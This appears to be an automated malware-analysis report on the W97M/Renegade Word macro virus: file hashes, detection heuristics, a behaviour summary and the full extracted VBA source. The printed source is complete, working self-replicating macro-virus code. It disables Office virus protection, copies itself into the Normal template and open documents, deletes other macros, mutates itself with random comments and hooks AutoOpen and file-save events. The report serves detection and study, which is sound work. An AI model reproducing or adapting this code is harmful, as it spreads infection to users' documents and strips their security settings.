W97M/Renegade — Office (OLE) malware analysis

Static analysis result for SHA-256 69f0459524938982…

MALICIOUS

Office (OLE)

46.0 KB Created: 1999-12-15 04:44:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 02ce78c9cbb8f775cbaaf72cf417230c SHA-1: 101bdfc650f302266826f7ea702fac2f89111edf SHA-256: 69f0459524938982c6c4c300ecbcb8aebe56b53939e122e91173f602c3cc0a91
248 Risk Score

Malware Insights

W97M/Renegade · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of the W97M/Renegade family, including legacy WordBasic macro markers and specific VBA code within the 'Renegade' subroutine. The script attempts to disable security features, export a component to 'c:\renegade.386', and modify document properties with infection-related messages. It also includes logic to infect other documents by deleting existing macros and potentially adding its own.

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
     .VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3837 bytes
SHA-256: 7f8a7cae813e2d6763c1a0930506334934a070ae20df0b836d0b3091a63f6f66
Detection
ClamAV: Doc.Trojan.Renegade-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Renegade"
Sub Renegade()
'W97M/Renegade
'Copyright (c) 1999, cry0tek
On Error Resume Next
With Options
 .ConfirmConversions = False
 .VirusProtection = False
 .SaveNormalPrompt = False
End With
With ActiveDocument
 .ReadOnlyRecommended = False
 .Password = ""
 .WritePassword = ""
End With
With Application
 .ScreenUpdating = False
 .DisplayAlerts = wdAlertsNone
 .EnableCancelKey = False
 .VBE.ActiveVBProject.VBComponents("Renegade").Export "c:\renegade.386"
End With
With Dialogs(wdDialogFileSummaryInfo)
 .Author = "cry0tek"
 .Title = "W97M/Renegade Infected Document"
 .Subject = "Copyright (c) 1999, cry0tek"
 .Comments = "PutoksaKawayan" & vbcr & "Zoom23" & vbcr & "L0rz" & vbcr & "Yez" & vbcr & "Kinetic Stab"
 .Keywords = "Greetings to all vx'ers"
 .Execute
End With
If Day(Now()) = 5 Then
 Assistant.Visible = True
 With Assistant.NewBalloon
  .Text = "W97M/Renegade"
  .Heading = "Infection successful.....you're dead..."
  .Animation = msoAnimationEmptyTrash
  .Show
 End With
End If
NormalAttrib = GetAttr(NormalTemplate.FullName)
If NormalAttrib = vbReadOnly Then GoTo Hell
If NormalAttrib = vbReadOnly + vbArchive Then GoTo Hell
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
 Macro = ActiveDocument.VBProject.VBComponents(i).Name
 If Macro = "Renegade" Then DocInf = True
 If (Macro <> "Renegade") And (Macro <> "ThisDocument") And (Macro <> "Reference To Normal") Then
  Application.OrganizerDelete Source:=ActiveDocument.FullName, Name:=Macro, Object:=wdOrganizerObjectProjectItems
 End If
Next i
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
 Macro = NormalTemplate.VBProject.VBComponents(i).Name
 If Macro = "Renegade" Then GlobalInf = True
 If (Macro <> "Renegade") And (Macro <> "ThisDocument") Then
  Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=Macro, Object:=wdOrganizerObjectProjectItems
 End If
Next i
If DocInf = True And GlobalInf = False Then Set Target = NormalTemplate.VBProject.VBComponents
If DocInf = False And GlobalInf = True Then Set Target = ActiveDocument.VBProject.VBComponents
Target.Import "c:\renegade.386"
If DocInf = False Then ActiveDocument.SaveAs Filename:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If GlobalInf = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
Kill "c:\renegade.386"
Application.DisplayAlerts = wdAlertsAll
Hell:
End Sub
Sub Mutate()
On Error Resume Next
For Grow = 1 To 5
 Number = MacroContainer.VBProject.VBComponents("Renegade").CodeModule.CountofLines
 RandomLine = Int(Rnd() * Number - 2)
 RemarkLength = Int(Rnd() * 40 + 1)
 For Length = 1 To RemarkLength
  Remark = Remark + Chr$(Int((122 - 65 + 1) * Rnd + 65))
 Next Length
 MacroContainer.VBProject.VBComponents("Renegade").CodeModule.InsertLines RandomLine, "Rem " & Remark
 Remark = ""
Next Grow
End Sub
Sub FileClose()
On Error Resume Next
Call Mutate
Call Renegade
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub AutoOpen()
On Error Resume Next
Call Renegade
If ActiveDocument.Saved = False Then ActiveDocument.Save
End Sub
Sub FileSave()
On Error Resume Next
Call Renegade
ActiveDocument.Save
End Sub
Sub FileExit()
On Error Resume Next
Call Renegade
If ActiveDocument.Saved = False Then ActiveDocument.Save
Application.Quit
End Sub
Sub ToolsOptions()
On Error Resume Next
Dialogs(wdDialogToolsOptions).Show
Call Renegade
End Sub
Sub ToolsMacro()
End Sub
Sub FileTemplate()
End Sub
Sub ViewVBCode()
End Sub